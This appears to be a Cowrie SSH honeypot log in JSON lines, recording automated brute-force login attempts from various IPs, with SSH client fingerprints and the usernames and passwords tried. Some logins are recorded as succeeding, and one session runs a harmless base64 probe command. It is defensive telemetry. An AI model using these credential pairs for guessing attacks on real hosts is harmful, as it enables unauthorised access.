{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.899180Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41964,"dst_ip":"10.17.0.5","dst_port":22,"session":"7128b9160eab","protocol":"ssh","message":"New connection: 171.25.158.70:41964 (10.17.0.5:22) [session: 7128b9160eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:11.006731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:11.010804Z","src_ip":"171.25.158.70","session":"7128b9160eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:11.124115Z","src_ip":"171.25.158.70","session":"7128b9160eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:11.630224Z","src_ip":"171.25.158.70","session":"7128b9160eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:12.796501Z","src_ip":"171.25.158.70","session":"7128b9160eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41966,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cd14eb8d4d","protocol":"ssh","message":"New connection: 171.25.158.70:41966 (10.17.0.5:22) [session: d2cd14eb8d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:12.902418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:12.906299Z","src_ip":"171.25.158.70","session":"d2cd14eb8d4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:13.019843Z","src_ip":"171.25.158.70","session":"d2cd14eb8d4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:13.521392Z","src_ip":"171.25.158.70","session":"d2cd14eb8d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:13.636013Z","src_ip":"171.25.158.70","session":"d2cd14eb8d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:13.640463Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"303.9","message":"Connection lost after 303.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:30.571194Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":50014,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbae09e5c903","protocol":"ssh","message":"New connection: 92.118.39.95:50014 (10.17.0.5:22) [session: fbae09e5c903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:59.256591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:59.261093Z","src_ip":"92.118.39.95","session":"fbae09e5c903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:59.358211Z","src_ip":"92.118.39.95","session":"fbae09e5c903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina","message":"login attempt [mina/mina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:59.671544Z","src_ip":"92.118.39.95","session":"fbae09e5c903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:00.768534Z","src_ip":"92.118.39.95","session":"fbae09e5c903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":33988,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3781f00a096","protocol":"ssh","message":"New connection: 85.198.97.85:33988 (159.203.135.109:22) [session: f3781f00a096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:23.331011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:23.335666Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:23.473989Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456789","message":"login attempt [root/123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:23.890579Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:24.203093Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:24.206521Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:24.350567Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:24.355390Z","src_ip":"85.198.97.85","session":"f3781f00a096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f57a3e5cd34","protocol":"ssh","message":"New connection: 80.94.92.186:37070 (10.17.0.5:22) [session: 3f57a3e5cd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:40.251898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:40.385476Z","src_ip":"80.94.92.186","session":"3f57a3e5cd34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:40.389165Z","src_ip":"80.94.92.186","session":"3f57a3e5cd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:41.559361Z","src_ip":"80.94.92.186","session":"3f57a3e5cd34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:42.760067Z","src_ip":"80.94.92.186","session":"3f57a3e5cd34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":52394,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b22a4a64932","protocol":"ssh","message":"New connection: 92.118.39.72:52394 (10.17.0.5:22) [session: 0b22a4a64932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:58.614255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:58.624331Z","src_ip":"92.118.39.72","session":"0b22a4a64932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:58.735977Z","src_ip":"92.118.39.72","session":"0b22a4a64932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miner","password":"miner","message":"login attempt [miner/miner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:28:59.106726Z","src_ip":"92.118.39.72","session":"0b22a4a64932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:00.209541Z","src_ip":"92.118.39.72","session":"0b22a4a64932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59606,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c1f9edede1","protocol":"ssh","message":"New connection: 193.32.162.151:59606 (159.203.135.109:22) [session: f9c1f9edede1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:09.200831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:09.205314Z","src_ip":"193.32.162.151","session":"f9c1f9edede1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:09.304598Z","src_ip":"193.32.162.151","session":"f9c1f9edede1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"username","message":"login attempt [mysql/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:09.703792Z","src_ip":"193.32.162.151","session":"f9c1f9edede1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:10.811859Z","src_ip":"193.32.162.151","session":"f9c1f9edede1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.57","src_port":34862,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa8fcb6f7e47","protocol":"ssh","message":"New connection: 171.25.158.57:34862 (10.17.0.5:22) [session: aa8fcb6f7e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:11.677764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:11.681955Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:11.792196Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
